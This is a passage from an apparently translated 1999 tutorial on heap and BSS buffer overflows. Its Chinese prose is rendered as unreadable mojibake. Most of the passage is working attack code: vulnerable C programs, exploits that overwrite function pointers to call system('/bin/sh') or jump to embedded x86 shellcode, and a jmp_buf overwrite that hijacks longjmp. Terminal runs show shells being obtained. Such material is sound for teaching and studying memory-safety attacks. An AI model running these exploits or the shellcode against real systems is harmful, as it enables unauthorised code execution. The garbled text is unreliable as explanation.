  422.    ╞∙╜±╬¬╓╣ú¼╒Γ╨⌐└²╫╙╓╨├╗╙╨╥╗╕÷╥¬╟≤┐╔╓┤╨╨╡─heap!╒Γ╨⌐└²╫╙╢╝╩╟▓╗╥└└╡╧╡═│║═╙▓╝■
  423.    ╜ß╣╣╡─(│²┴╦╫╓╜┌╖┤╨≥╡─▓┐╖╓)íú╒Γ╘┌╣Ñ╗≈heap╥τ│÷╩▒╩╟╖╟│ú╙╨╙├╡─íú
  424.  
  425. ╓¬╡└┴╦╘⌡├┤╓╪╨┤╥╗╕÷╓╕╒δú¼╬╥├╟╜╙╧┬└┤┐┤┐┤╚τ║╬╨▐╕─╥╗╕÷║»╩²╓╕╒δíú╙δ╔╧├µ╡─└²╫╙▓╗═¼╡─╩╟ú¼
  426. ╨▐╕─║»╩²╓╕╒δ╡─╣Ñ╗≈╥¬╟≤╙╨╥╗╕÷┐╔╥╘╓┤╨╨╡─Heap
  427.  
  428. ║»╩²╓╕╒δ(▒╚╚τ "int (*funcptr)(char 
  429. *str)")╘╩╨φ│╠╨≥╘▒╢»╠¼╨▐╕─╥¬▒╗╡≈╙├╡─║»╩²íú╬╥├╟
  430. ┐╔╥╘╓╪╨┤║»╩²╓╕╒δ╡─╡╪╓╖ú¼╩╣╞Σ▒╗╓┤╨╨╡─╩▒║≥╫¬╚Ñ╡≈╙├╬╥├╟╓╕╢¿╡─║»╩²ú¿┤·┬δú⌐íú╬¬┴╦┤∩╡╜
  431. ╒Γ╕÷─┐╡─ú¼╬╥├╟╙╨╢α╓╓╤í╘±íú
  432.  
  433. ╩╫╧╚ú¼╬╥├╟┐╔╥╘╩╣╙├╫╘╝║╡─shellcode,╬╥├╟┐╔╥╘╙├┴╜╓╓╖╜╖¿└┤╩╣╙├╬╥├╟╡─shellcodeú║
  434.  
  435.     1. argv[]╖╜╖¿ ú║ 
  436. ╜½shellcode┤ó┤µ╘┌╥╗╕÷│╠╨≥▓╬╩²╓╨ú¿╒Γ╥¬╟≤╥╗╕÷┐╔╓┤╨╨╡─╢╤╒╗)
  437.     2. heap╞½╥╞╖╜╖¿ú║╜½shellcode┤ó┤µ╘┌┤╙heap╡─╢Ñ╢╦╡╜▒╗╕▓╕╟╡─╓╕╒δ╓«╝Σ╡─╟°╙≥╓╨
  438.                      ú¿╒Γ╥¬╟≤┐╔╓┤╨╨╡─heap)
  439.  
  440. ╫ó╥Γú║
  441.     
  442. heap┐╔╓┤╨╨╡─┐╔─▄╨╘▒╚╢╤╒╗┐╔╓┤╨╨╡─┐╔─▄╨╘╥¬┤≤╡├╢αíú╥≥┤╦ú¼└√╙├heap╡─╖╜╖¿┐╔─▄╕ⁿ
  443.     │ú╙├╥╗╨⌐íú
  444.  
  445. ┴φ═Γ╡─╥╗╓╓╖╜╖¿╩╟╝≥╡Ñ╡╪▓┬▓Γ╥╗╕÷║»╩²ú¿▒╚╚τsystem())╡─╡╪╓╖íú╚τ╣√╬╥├╟╓¬╡└╣Ñ╗≈│╠╨≥╓╨
  446. system()╡─╡╪╓╖ú¼─╟├┤▒╗╣Ñ╗≈╡─│╠╨≥╓╨system()╡─╡╪╓╖╙ª╕├╙δ╞Σ╧α▓ε▓╗╘▒ú¼╝┘╔Φ┴╜╕÷│╠╨≥
  447. ╘┌═¼╤∙╡─╟Θ┐÷╧┬▒α╥δ╡─╗░íú╒Γ╓╓╖╜╖¿╡─║├┤ª╘┌╙┌╦ⁿ▓╗╨Φ╥¬╥╗╕÷┐╔╓┤╨╨╡─heapíú
  448. (┴φ═Γ╥╗╓╓╖╜╖¿╩╟╩╣╙├PLT(╣²│╠┴┤╜╙▒φú⌐ú¼╒Γ└∩╛═▓╗╘┘╧Ω╩÷┴╦ú¼╙╨╨╦╚ñ╡─┐╔╥╘┐┤stranJer╫÷
  449. ╡─╚╞╣²▓╗┐╔╓┤╨╨╢╤╒╗╡─╣Ñ╗≈ú⌐
  450.  
  451.  
  452. ╡┌╢■╓╓╖╜╖¿╡─╙┼╡π╛═╩╟╝≥╡Ñíú╬╥├╟┐╔╥╘║▄┐∞╡├┤╙╣Ñ╗≈│╠╨≥╡─system()╡─╡╪╓╖▓┬│÷╙╨╚⌡╡π│╠
  453. ╨≥╡─system()╡╪╓╖íú╢°╟╥╘┌╘╢│╠╧╡═│╓╨╥▓╩╟╧α═¼╡─ú¿╚τ╣√░µ▒╛ú¼▓┘╫≈╧╡═│║═╙▓╝■╜ß╣╣╢╝╥╗
  454. ╤∙╡─╗░)íú╡┌╥╗╓╓╖╜╖¿╡─╙┼╡π╘┌╙┌╬╥├╟┐╔╥╘└√╙├╫╘╝║╡─shellcode└┤╫÷╚╬╥Γ╡─╩┬ú¼╢°╟╥▓ó▓╗
  455. ╨Φ╥¬┐╝┬╟║»╩²╓╕╒δ╡─╝µ╚▌╬╩╠Γú¼▒╚╚τ▓╗╣▄╩╟char (*funcptr)(int a)╗╣╩╟void 
  456. (*funcptr)
  457. ()ú¼╢╝┐╔╥╘╦│└√╣ñ╫≈ú¿╡┌╥╗╓╓╖╜╖¿╛═▒╪╨δ┐╝┬╟╒Γ╨⌐ú⌐íú╦ⁿ╡─╚▒╡π╛═╩╟▒╪╨δ╥¬╙╨┐╔╓┤╨╨╡─heap
  458. /stack.
  459.  
  460. ╧┬├µ╬╥├╟╘┘└┤┐┤╥╗╕÷╙╨╚⌡╡π╡─│╠╨≥:
  461. -----------------------------------------------------------------------------
  462.    /*
  463.     * Just the vulnerable program we will exploit.
  464.     * Compile as: gcc -o vulprog vulprog.c (or change exploit macros)
  465.     */
  466.  
  467.    #include <stdio.h>
  468.    #include <stdlib.h>
  469.    #include <unistd.h>
  470.    #include <string.h>
  471.  
  472.    #define ERROR -1
  473.    #define BUFSIZE 64
  474.  
  475.    int goodfunc(const char *str); /* ╒²│ú╟Θ┐÷╧┬╥¬▒╗funcptr╓╕╧≥╡─║»╩² */
  476.  
  477.    int main(int argc, char **argv)
  478.    {
  479.       static char buf[BUFSIZE];
  480.       static int (*funcptr)(const char *str);/* 
  481. ╒Γ╕÷╛═╩╟╬╥├╟╜½╥¬╓╪╨┤╡─║»╩²╓╕╒δ */
  482.  
  483.       if (argc <= 2)
  484.       {
  485.          fprintf(stderr, "Usage: %s <buf> <goodfunc arg>\n", argv[0]);
  486.          exit(ERROR);
  487.       }
  488.  
  489.       printf("(for 1st exploit) system() = %p\n", system);
  490.       printf("(for 2nd exploit, stack method) argv[2] = %p\n", argv[2]);
  491.       printf("(for 2nd exploit, heap offset method) buf = %p\n\n", buf);
  492.  
  493.       funcptr = (int (*)(const char *str))goodfunc;
  494.       printf("before overflow: funcptr points to %p\n", funcptr);
  495.  
  496.       memset(buf, 0, sizeof(buf));
  497.     /* ╥τ│÷╙╨┐╔─▄╘┌╒Γ└∩╖ó╔·ú¼╒Γ╥▓╩╟║▄│ú╝√╡─╥╗╓╓┤φ╬≤╡─╩╣╙├strncpy╡─└²╫╙ */
  498.       strncpy(buf, argv[1], strlen(argv[1]));
  499.       printf("after overflow: funcptr points to %p\n", funcptr);
  500.  
  501.       (void)(*funcptr)(argv[2]); /* ╒²│ú╟Θ┐÷╧┬╜½╡≈╙├goodfunc,▓╬╩²╬¬argv[2] 
  502. */
  503.       return 0;
  504.    }
  505.  
  506.    /* ---------------------------------------------- */
  507.  
  508.    /* This is what funcptr would point to if we didn't overflow it */
  509.    int goodfunc(const char *str)
  510.    {
  511.       printf("\nHi, I'm a good function.  I was passed: %s\n", str);
  512.       return 0;
  513.    }
  514. -----------------------------------------------------------------------------
  515. ╬╥├╟└┤┐┤┐┤╡┌╥╗╕÷╣Ñ╗≈╡─└²╫╙ú¼╒Γ└∩▓╔╙├╡─╩╟╩╣╙├system()╡─╖╜╖¿ú║
  516. -----------------------------------------------------------------------------
  517.    /*
  518.     * Copyright (C) January 1999, Matt Conover & WSD
  519.     *
  520.     * ╤▌╩╛╘┌bss╢╬(╬┤▒╗│⌡╩╝╗»╡─╩²╛▌ú⌐╓╨╕▓╕╟╛▓╠¼║»╩²╓╕╒δ╡─╖╜╖¿íú
  521.     *
  522.     * Try in the offset (argv[2]) in the range of 0-20 (10-16 is best)
  523.     * To compile use: gcc -o exploit1 exploit1.c
  524.     */
  525.  
  526.    #include <stdio.h>
  527.    #include <stdlib.h>
  528.    #include <unistd.h>
  529.    #include <string.h>
  530.  
  531. /* ╝┘╔Φfuncptr╙δbuf╓«╝Σ╡─╛α└δú¿╢╘╙┌BSS╟°└┤╦╡ú¼╒Γ╕÷╓╡╙ª╕├╛═╩╟buf╡─┤≤╨í */
  532.    #define BUFSIZE 64
  533.  
  534.    #define VULPROG "./vulprog" /* ╙╨╚⌡╡π│╠╨≥╡─╬╗╓├ */
  535.    #define CMD "/bin/sh" /* ╢¿╥σ╚τ╣√╣Ñ╗≈│╔╣ª║≤╥¬╓┤╨╨╡─├ⁿ┴ε */
  536.  
  537.    #define ERROR -1
  538.  
  539.    int main(int argc, char **argv)
  540.    {
  541.       register int i;
  542.       u_long sysaddr;
  543.       static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};
  544.  
  545.       if (argc <= 1)
  546.       {
  547.          fprintf(stderr, "Usage: %s <offset>\n", argv[0]);
  548.          fprintf(stderr, "[offset = estimated system() offset]\n\n");
  549.  
  550.          exit(ERROR);
  551.       }
  552.  
  553.       sysaddr = (u_long)&system - atoi(argv[1]); /* ╝╞╦πsystem()╡─╡╪╓╖ */
  554.       printf("trying system() at 0x%lx\n", sysaddr);
  555.  
  556.       memset(buf, 'A', BUFSIZE);
  557.  
  558.       /* ╘┌little endian╧╡═│╓╨ú¼╨Φ╥¬╜½╫╓╜┌╖┤╨≥┼┼┴╨ */
  559.       for (i = 0; i < sizeof(sysaddr); i++)
  560.          buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;
  561.  
  562.       execl(VULPROG, VULPROG, buf, CMD, NULL);
  563.       return 0;
  564.    }
  565. -----------------------------------------------------------------------------
  566. ╡▒╬╥├╟╘╦╨╨╦ⁿ║≤ú¼╡├╡╜╧┬├µ╡─╜ß╣√ú║
  567.  
  568. [warning3@testserver vulpkg2]$ ./exploit2 12
  569. Trying system() at 0x80483fc
  570. system()'s address = 0x80483fc
  571. before overflow: funcptr points to 0x80485fc
  572. after overflow: funcptr points to 0x80483fc
  573. bash$
  574.  
  575. ╜╙╧┬└┤╡─└²╫╙╓╨╬╥├╟╙├┴╦stack║═heap╡─╖╜╖¿ú║
  576. -----------------------------------------------------------------------------
  577.    /*
  578.     * Copyright (C) January 1999, Matt Conover & WSD
  579.     *
  580.     * ╒Γ╤▌╩╛┴╦╚τ║╬╓╪╨┤╥╗╕÷╛▓╠¼║»╩²╓╕╒δ╩╣╞Σ╓╕╧≥╬╥├╟╠ß╣⌐╡─shellcode.
  581.     * ╒Γ╓╓╖╜╖¿╥¬╟≤┐╔╓┤╨╨╡─stack╗≥heap
  582.     *
  583.     * ╒Γ╕÷│╠╨≥╓╨╙╨┴╜╕÷▓╬╩²:offset║═heap/stack. ╢╘╙┌stack╖╜╖¿└┤╦╡ú¼
  584.     * offset╬¬╢╤╒╗╢Ñ╢╦╡╜(╙╨╚⌡╡π│╠╨≥╡─ú⌐argv[2]╡─╛α└δ.
  585.     * ╢╘╙┌heap╖╜╖¿└┤╦╡ú¼offset╬¬heap╡─╢Ñ╢╦╡╜▒╗╕▓╕╟╡─ú¿╗≥╓╕╢¿╡─ú⌐buffer╓«╝Σ╡─
  586.     * ╛α└δíú
  587.     *
  588.     * Try values somewhere between 325-345 for argv[] method, and 420-450
  589.     * for heap.
  590.     *
  591.     * To compile use: gcc -o exploit2 exploit2.c
  592.     */
  593.  
  594.    #include <stdio.h>
  595.    #include <stdlib.h>
  596.    #include <unistd.h>
  597.    #include <string.h>
  598.  
  599.    #define ERROR -1
  600.    #define BUFSIZE 64 /* estimated diff between buf/funcptr */
  601.  
  602.    #define VULPROG "./vulprog" /* where the vulprog is */
  603.  
  604.    char shellcode[] = /* just aleph1's old shellcode (linux x86) */
  605.      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
  606.      "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
  607.      "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  608.  
  609.    u_long getesp()
  610.    {
  611.       __asm__("movl %esp,%eax"); /* ╡├╡╜╡▒╟░╢╤╒╗╢Ñ╢╦╡─╓╡ */
  612.    }
  613.  
  614.    int main(int argc, char **argv)
  615.    {
  616.       register int i;
  617.       u_long sysaddr;
  618.       char buf[BUFSIZE + sizeof(u_long) + 1];
  619.  
  620.       if (argc <= 2)
  621.       {
  622.          fprintf(stderr, "Usage: %s <offset> <heap | stack>\n", argv[0]);
  623.          exit(ERROR);
  624.       }
  625.  
  626.       if (strncmp(argv[2], "stack", 5) == 0) /* ╩╣╙├╢╤╒╗╡─╖╜╖¿ */
  627.       {
  628.          printf("Using stack for shellcode (requires exec. stack)\n");
  629.  
  630.          sysaddr = getesp() + atoi(argv[1]);   /* ╝╞╦πargv[2]╡─╡╪╓╖ */
  631.          printf("Using 0x%lx as our argv[1] address\n\n", sysaddr);
  632.  
  633.          memset(buf, 'A', BUFSIZE + sizeof(u_long));
  634.       }
  635.  
  636.       else                                   /* ╩╣╙├heap╡─╖╜╖¿ */
  637.       {
  638.          printf("Using heap buffer for shellcode "
  639.                 "(requires exec. heap)\n");
  640.  
  641.         /* ╝╞╦π─┐▒Ωbuffer╡─╡╪╓╖(sbrk(0)╙├└┤╡├╡╜heap╡─╢Ñ╢╦╡╪╓╖) */
  642.          sysaddr = (u_long)sbrk(0) - atoi(argv[1]);
  643.          printf("Using 0x%lx as our buffer's address\n\n", sysaddr);
  644.     /* ╝╞╦π╩╟╖±buf╙δfuncptr╓«╝Σ╡─╛α└δ▓╗╫π╥╘╖┼╧┬╬╥├╟╡─shellcode */
  645.     /* ╚τ╣√╒Γ╢╬╛α└δ▒╚╜╧╨í╡─╗░ú¼╞Σ╩╡┐╔╥╘▓╔╙├┴φ═Γ╡─╖╜╖¿└┤╠ε│Σú║  */
  646.     /*   buf                funcptr  sysaddr
  647.     /* [sysaddr|sysaddr|...][sysaddr][shellcode]               */
  648.  
  649.          if (BUFSIZE + 4 + 1 < strlen(shellcode))
  650.          {
  651.             fprintf(stderr, "error: buffer is too small for shellcode "
  652.                             "(min. = %d bytes)\n", strlen(shellcode));
  653.  
  654.             exit(ERROR);
  655.          }
  656.  
  657.          strcpy(buf, shellcode);
  658.          memset(buf + strlen(shellcode), 'A',
  659.                 BUFSIZE - strlen(shellcode) + sizeof(u_long));
  660.       }
  661.  
  662.       buf[BUFSIZE + sizeof(u_long)] = '\0';
  663.  
  664.       /* reverse byte order (on a little endian system) (ntohl equiv) */
  665.       for (i = 0; i < sizeof(sysaddr); i++)
  666.          buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;
  667.  
  668.       execl(VULPROG, VULPROG, buf, shellcode, NULL);
  669.       return 0;
  670.    }
  671. -----------------------------------------------------------------------------
  672. ╧╚└┤┐┤┐┤╙├╢╤╒╗╡─╖╜╖¿ú║
  673. [warning3@testserver vulpkg3]$ ./exploit3 319 stack
  674. Using stack for shellcode (requires exec. stack)
  675. Using 0xbffffdf7 as our argv[1] address
  676.  
  677. argv[1] = 0xbffffdf7
  678. buf = 0x8049820
  679.  
  680. before: funcptr = 0x8048500
  681. after: funcptr = 0xbffffdf7
  682.  
  683. bash$
  684.  
  685.         buf      funcptr          ╢╤╒╗╟°
  686. ╕▓╕╟╟░:[xxxxxx...xxxxxxx][0x08048500]
  687.     ╡═╓╖ ------------------> ╕▀╓╖
  688. ╕▓╕╟║≤:[AAAAAA...AAAAAAA][0xbffffdf7]    [shellcode]
  689.                              |           ^
  690.                              |___________|
  691.  
  692. ╧┬├µ╩╟╙├heap╡─╖╜╖¿:
  693. [warning3@testserver vulpkg3]$ ./exploit3 836 heap
  694. Using heap buffer for shellcode (requires exec. heap)
  695. Using 0x8049820 as our buffer's address
  696.  
  697. argv[1] = 0xbffffdf7
  698. buf = 0x8049820
  699.  
  700. before: funcptr = 0x8048500
  701. after: funcptr = 0x8049820
  702.  
  703. bash$
  704.  
  705.         buf      funcptr
  706. ╕▓╕╟╟░:[xxxxxxxxxxxxxxxx][0x08048500]
  707.     ╡═╓╖ ------------------> ╕▀╓╖
  708. ╕▓╕╟║≤:[shellcodeAAA...A][0x8049820]
  709.        ^
  710.        |_0x8049820
  711.  
  712.  
  713. ┤╙╔╧├µ╡─└²╫╙┐╔╥╘┐┤│÷,╢╘╙┌═¼╥╗╓╓╬╩╠Γ,┐╔╥╘╙╨╝╕╓╓▓╗═¼╡─╣Ñ╗≈╩╓╖¿.╒Γ└∩╬╥├╟┴φ═Γ╘┘╜Θ
  714. ╔▄╥╗╓╓└α╨═╡─╣Ñ╗≈.╦ⁿ└√╙├┴╦setjmp║═longjmp║»╩².╒Γ┴╜╕÷║»╩²═¿│ú╙├└┤╘┌╥╗╨⌐╡═╜╫║»╩²
  715. ╓╨┤ª└φ╥╗╨⌐┤φ╬≤║═╓╨╢╧.setjmp(jmpbuf)╙├└┤▒ú┤µ╡▒╟░╡─╢╤╒╗╒╗╓í╡╜jmpbuf╓╨,longjmp
  716. (jmpbuf,val)╜½┤╙jmpbuf╓╨╗╓╕┤╢╤╒╗╒╗╓í,longjmp╓┤╨╨═Ω║≤,│╠╨≥╝╠╨°┤╙setjmp()╡─╧┬╥╗
  717. ╠⌡╙∩╛Σ┤ª╓┤╨╨,▓ó╜½val╫≈╬¬setjmp()╡─╖╡╗╪╓╡.jmpbuf╓╨▒ú┤µ╙╨╝─┤µ╞≈bx,si,di,bp,sp,pc
  718. ,╚τ╣√╬╥├╟─▄╘┌longjmp╓┤╨╨╥╘╟░╕▓╕╟╡⌠jmpbuf,╬╥├╟╛═─▄╓╪╨┤╝─┤µ╞≈pc.╥≥┤╦╡▒longjmp╗╓╕┤
  719. ▒ú┤µ╡─╢╤╒╗╒╗╓í║≤,│╠╨≥╛═┐╔─▄╠°╡╜╬╥├╟╓╕╢¿╡─╡╪╖╜╚Ñ╓┤╨╨.╓┴╙┌╠°╫¬╡╪╓╖,┐╔╥╘╩╟╢╤╒╗╓╨,
  720. ╥▓┐╔╥╘╩╟heap╓╨.╧╓╘┌╬╥├╟╥╘x86╧╡═│╬¬└²└┤╛▀╠σ╜Γ╩═╥╗╧┬.
  721. (╧┬├µ╡─┤·┬δ╘┌Redhat 6.0 ,2.2.5╧┬▒α╥δ═¿╣².╢╘╙┌╞Σ╦√╡─╧╡═│,╟δ▓╬┐╝setjmp.h└┤╨▐╕─
  722. ╧α╙ª╡─┤·┬δ)
  723. ╩╫╧╚╬╥├╟└┤┐┤╥╗╕÷╙╨╚⌡╡π╡─│╠╨≥:
  724. -----------------------------------------------------------------------------
  725. /*
  726. * This is just a basic vulnerable program to demonstrate
  727. * how to overwrite/modify jmp_buf's to modify the course of
  728. * execution.
  729. */
  730.  
  731. #include <stdio.h>
  732. #include <stdlib.h>
  733. #include <unistd.h>
  734. #include <string.h>
  735. #include <setjmp.h>
  736.  
  737. #define ERROR -1
  738. #define BUFSIZE 16
  739.  
  740. static char buf[BUFSIZE];
  741. jmp_buf jmpbuf;    /* jmpbuf╩╟╬╥├╟╧δ╥¬╕▓╕╟╡─ */
  742.  
  743. u_long getesp()
  744. {
  745.    __asm__("movl %esp,%eax"); /* ╡├╡╜╡▒╟░╢╤╒╗╓╕╒δ */
  746. }
  747.  
  748. int main(int argc, char **argv)
  749. {
  750. u_long diff;
  751.    if (argc <= 1)
  752.    {
  753.       fprintf(stderr, "Usage: %s <string1> <string2>\n");
  754.       exit(ERROR);
  755.    }
  756.   diff=(u_long)jmpbuf-(u_long)buf;
  757.   printf("diff=%d\n",diff);
  758.    printf("[vulprog] argv[2] = %p\n", argv[2]);
  759.    printf("[vulprog] sp = 0x%lx\n\n", getesp());
  760.  
  761.    if (setjmp(jmpbuf)) /* 
  762. ╚τ╣√┤≤╙┌0,─╟├┤longjmp()╙ª╕├╥╤╛¡╓┤╨╨═Ω▒╧┴╦.╓▒╜╙╓┤╨╨setjmp╙ª╕├╖╡╗╪1 */
  763.    {
  764.       fprintf(stderr, "error: exploit didn't work\n");
  765.       exit(ERROR);
  766.    }
  767. /* ╬╥├╟┤≥╙í│÷╕▓╕╟╟░║≤jmpbuf╓╨▒ú┤µ╡─╝─┤µ╞≈╡─╓╡ */
  768.    printf("before:\n");
  769.    printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n",
  770.           jmpbuf->__jmpbuf[JB_BX], jmpbuf->__jmpbuf[JB_SI], 
  771. jmpbuf->__jmpbuf[JB_DI]);
  772.  
  773.    printf("bp = %p, sp = %p, pc = %p\n\n",
  774.           jmpbuf->__jmpbuf[JB_BP], jmpbuf->__jmpbuf[JB_SP], 
  775. jmpbuf->__jmpbuf[JB_PC]);
  776.  
  777.    strncpy(buf, argv[1], strlen(argv[1])); /* ╒Γ└∩┐╔─▄╡╝╓┬jmpbuf▒╗╕▓╕╟ */
  778.  
  779.    printf("after:\n");
  780.    printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n",
  781.           jmpbuf->__jmpbuf[JB_BX], jmpbuf->__jmpbuf[JB_SI], 
  782. jmpbuf->__jmpbuf[JB_DI]);
  783.  
  784.    printf("bp = %p, sp = %p, pc = %p\n\n",
  785.           jmpbuf->__jmpbuf[JB_BP], jmpbuf->__jmpbuf[JB_SP], 
  786. jmpbuf->__jmpbuf[JB_PC]);
  787.  
  788.    longjmp(jmpbuf, 1);
  789.    return 0;
  790. }
  791. -----------------------------------------------------------------------------
  792.  
  793. ╘┌╔╧├µ╡─│╠╨≥╓╨╬╥├╟┤≥╙í│÷╝─┤µ╞≈╡─╓╡,╩╟╬¬┴╦┐┤╡├╕ⁿ╟σ│■╥╗╨⌐,▓┬▓Γ╞≡└┤╥▓╕ⁿ╚▌╥╫.:-)
  794.  
  795. ╧┬├µ╬╥├╟╕°│÷╣Ñ╗≈│╠╨≥.╦ⁿ└√╙├argv[]┤ó┤µ┤·┬δ,│╠╨≥╨Φ╥¬╠°╡╜env┤ª╓┤╨╨,╨Φ╥¬┐╔╓┤╨╨╢╤╒╗.
  796.  
  797. -----------------------------------------------------------------------------
  798.  
  799. /*
  800. * Copyright (C) January 1999, Matt Conover & w00w00 Security Development
  801. *
  802. * ╒Γ╕÷│╠╨≥╙├└┤╤▌╩╛═¿╣²╕▓╕╟jmpbuf(setjmp/longjmp)└┤╘┌heap╓╨─ú─Γ╢╤╒╗╥τ│÷╡─╖╜╖¿
  803. * ╬╥├╟╜½╕▓╕╟jmpbuf╓╨▒ú┤µ╡─sp/pc╝─┤µ╞≈╓╡.╡▒longjmp()▒╗╡≈╙├╡─╩▒║≥,╦ⁿ╜½┤╙╒Γ╕÷╡╪
  804. * ╓╖┐¬╩╝╓┤╨╨╧┬╥╗╠⌡╓╕┴ε.╦∙╥╘,╚τ╣√╬╥├╟─▄╜½┤·┬δ┤µ┤ó╘┌╒Γ╕÷╡╪╓╖,─╟╦ⁿ╛═╜½▒╗╓┤╨╨
  805. *
  806. * This takes two arguments (offsets):
  807. *   arg 1 - stack offset (should be about 25-45).
  808. *   arg 2 - argv offset (should be about 310-330).
  809. */
  810.  
  811. #include <stdio.h>
  812. #include <stdlib.h>
  813. #include <unistd.h>
  814. #include <string.h>
  815.  
  816. #define ERROR -1
  817. #define BUFSIZE 36
  818.  
  819. #define VULPROG "./vulprog4"
  820.  
  821. char shellcode[] = /* just aleph1's old shellcode (linux x86) */
  822.    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
  823.    "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
  824.    "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  825.  
  826. u_long getesp()
  827. {
  828.    __asm__("movl %esp,%eax"); /* the return value goes in %eax */
  829. }
  830.  
  831. int main(int argc, char **argv)
  832. {
  833.    int stackaddr, argvaddr;
  834.    register int index, i, j;
  835.  
  836.    char buf[BUFSIZE + 24 + 1];
  837.  
  838.    if (argc <= 1)
  839.    {
  840.       fprintf(stderr, "Usage: %s <stack offset> <argv offset>\n",
  841.               argv[0]);
  842.  
  843.       fprintf(stderr, "[stack offset = offset to stack of vulprog\n");
  844.       fprintf(stderr, "[argv offset = offset to argv[2]]\n");
  845.  
  846.       exit(ERROR);
  847.    }
  848.  
  849.    stackaddr = getesp() - atoi(argv[1]);
  850.    argvaddr = getesp() + atoi(argv[2]);
  851.  
  852.    printf("trying address 0x%lx for argv[2]\n", argvaddr);
  853.    printf("trying address 0x%lx for sp\n\n", stackaddr);
  854.  
  855.    /*
  856.     * The second memset() is needed, because otherwise some values
  857.     * will be (null) and the longjmp() won't do our shellcode.
  858.     */
  859.  
  860.    memset(buf, 'A', BUFSIZE), memset(buf + BUFSIZE, 0x1, 12);
  861.    buf[BUFSIZE+24] = '\0';
  862.  
  863.    /* ------------------------------------- */
  864.  
  865.    /*
  866.     * ╡▒╔Φ╓├pc╓╕╧≥╬╥├╟╡─shellcode╡╪╓╖╩▒,╬╥├╟╗ß╕▓╕╟jmpbuf╓╨╡─ebp/esp,
  867.     * ╦∙╥╘,╬╥├╟╜½╙├╒²╚╖╡─╓╡╓╪╨┤╦ⁿ├╟.
  868.     */
  869.  
  870.    for (i = 0; i < sizeof(u_long); i++) /* setup BP */
  871.    {
  872.       index = BUFSIZE + 12 + i;
  873.       buf[index] = (stackaddr >> (i * 8)) & 255;
  874.    }
  875.  
  876.    /* ----------------------------- */
  877.  
  878.    for (i = 0; i < sizeof(u_long); i++) /* setup SP */
  879.    {
  880.       index = BUFSIZE + 16 + i;
  881.       buf[index] = (stackaddr >> (i * 8)) & 255;
  882.    }
  883.  
  884.    /* ----------------------------- */
  885.  
  886.    for (i = 0; i < sizeof(u_long); i++) /* setup PC */
  887.    {
  888.       index = BUFSIZE + 20 + i;
  889.       buf[index] = (argvaddr >> (i * 8)) & 255;
  890.    }
  891.  
  892.    execl(VULPROG, VULPROG, buf, shellcode, NULL);
  893.    return 0;
  894. }
  895. -----------------------------------------------------------------------------
  896. ╬╥├╟└┤┐┤╥╗╧┬╓┤╨╨╡─╜ß╣√:
  897. [warning3@testserver vulpkg4]$ ./exploit4 20 393
  898. trying address 0xbffffe49 for argv[2]
  899. trying address 0xbffffcac for sp
  900.  
  901. diff=36
  902. [vulprog] argv[2] = 0xbffffe49
  903. [vulprog] sp = 0xbffffcac
  904.  
  905. before:
  906. bx = 0x401041b4, si = 0xbffffd04, di = 0x3
  907. bp = 0xbffffcb8, sp = 0xbffffcac, pc = 0x80485c9
  908.  
  909. after:
  910. bx = 0x1010101, si = 0x1010101, di = 0x1010101
  911. bp = 0xbffffcac, sp = 0xbffffcac, pc = 0xbffffe49
  912.  
  913. bash$
  914.  
  915.  
  916.  
  917. ╬╥├╟╥╤╛¡┐┤╡╜ú¼╘┌╒Γ╨⌐└²╫╙╓╨ú¼heap╟°╡─╥τ│÷┐╔╥╘╡╝╓┬║▄┤≤╡─░▓╚½╬╩╠Γíú╢°╘┌╒µ╩╡╡─╗╖╛│
  918. ╓╨ú¼heap╟°╡─├⌠╕╨╩²╛▌╥▓┐╔─▄▒╗╕▓╕╟íú└²╚τú║
  919.  
  920.           ║»╩²                ╘¡╥≥
  921.    1. *gets()/*printf(), *scanf()     __iob (FILE)╜ß╣╣┤ó┤µ╘┌heap
  922.    2. popen()                         __iob (FILE)╜ß╣╣┤ó┤µ╘┌heap
  923.    3. *dir() (readdir, seekdir, ...)  DIR ╜ß╣╣ (dir/heap buffers)
  924.    4. atexit()                        ╛▓╠¼/╚½╛╓║»╩²╓╕╒δ
  925.    5. strdup()                        ╘┌heap╟°╢»╠¼╖╓┼Σ╩²╛▌
  926.    7. getenv()                        ┤ó┤µ╩²╛▌╘┌heap╟°
  927.    8. tmpnam()                        ┤ó┤µ╩²╛▌╘┌heap╟°
  928.    9. malloc()                        ┴┤╓╕╒δ
  929.    10. rpc callback ║»╩²              ║»╩²╓╕╒δ
  930.    11. windows callback ║»╩²          ║»╩²╓╕╒δ▒ú┤µ╘┌heap╟°
  931.    12. signal handler pointers        
  932. ║»╩²╓╕╒δ(╫ó╥Γú║unix╘┌─┌║╦╓╨╕·╫┘╒Γ╨⌐╨┼║┼ú¼
  933.        in cygnus (gcc for win),       ╢°▓╗╩╟╘┌heap╓╨)
  934.  
  935. printf(),fget(),readir(),seekdir()╡╚║»╩²╬¬FILE╜ß╣╣╘┌heap╓╨╖╓┼Σ╡─┐╒╝Σ┐╔╥╘▒╗╓╪╨┤íú
  936. atexit()╡─║»╩²╓╕╒δ╜½╘┌│╠╨≥╓╨╢╧╩▒▒╗╡≈╙├íústrdup()╗ß╜½╫╓╖√┤«(╚τ╬─╝■├√ú¼┐┌┴ε╡╚╡╚)
  937. ┤ó┤µ╘┌heap╟°íúmalloc()╡─┴┤╓╕╒δ─▄▒╗╙├└┤╖╟╖¿╖├╬╩─┌┤µíúgetenv()╜½╩²╛▌┤ó┤µ╘┌heap╓╨ú¼
  938. ╘╩╨φ╬╥├╟╨▐╕─$HOME╡╚▒Σ┴┐íúsvc/rpc╫ó▓ß║»╩²(librpc,libnsl╡╚╡╚)╜½╗╪╜╨║»╩²╓╕╒δ┤ó┤µ╘┌
  939. heap╓╨.
  940.  
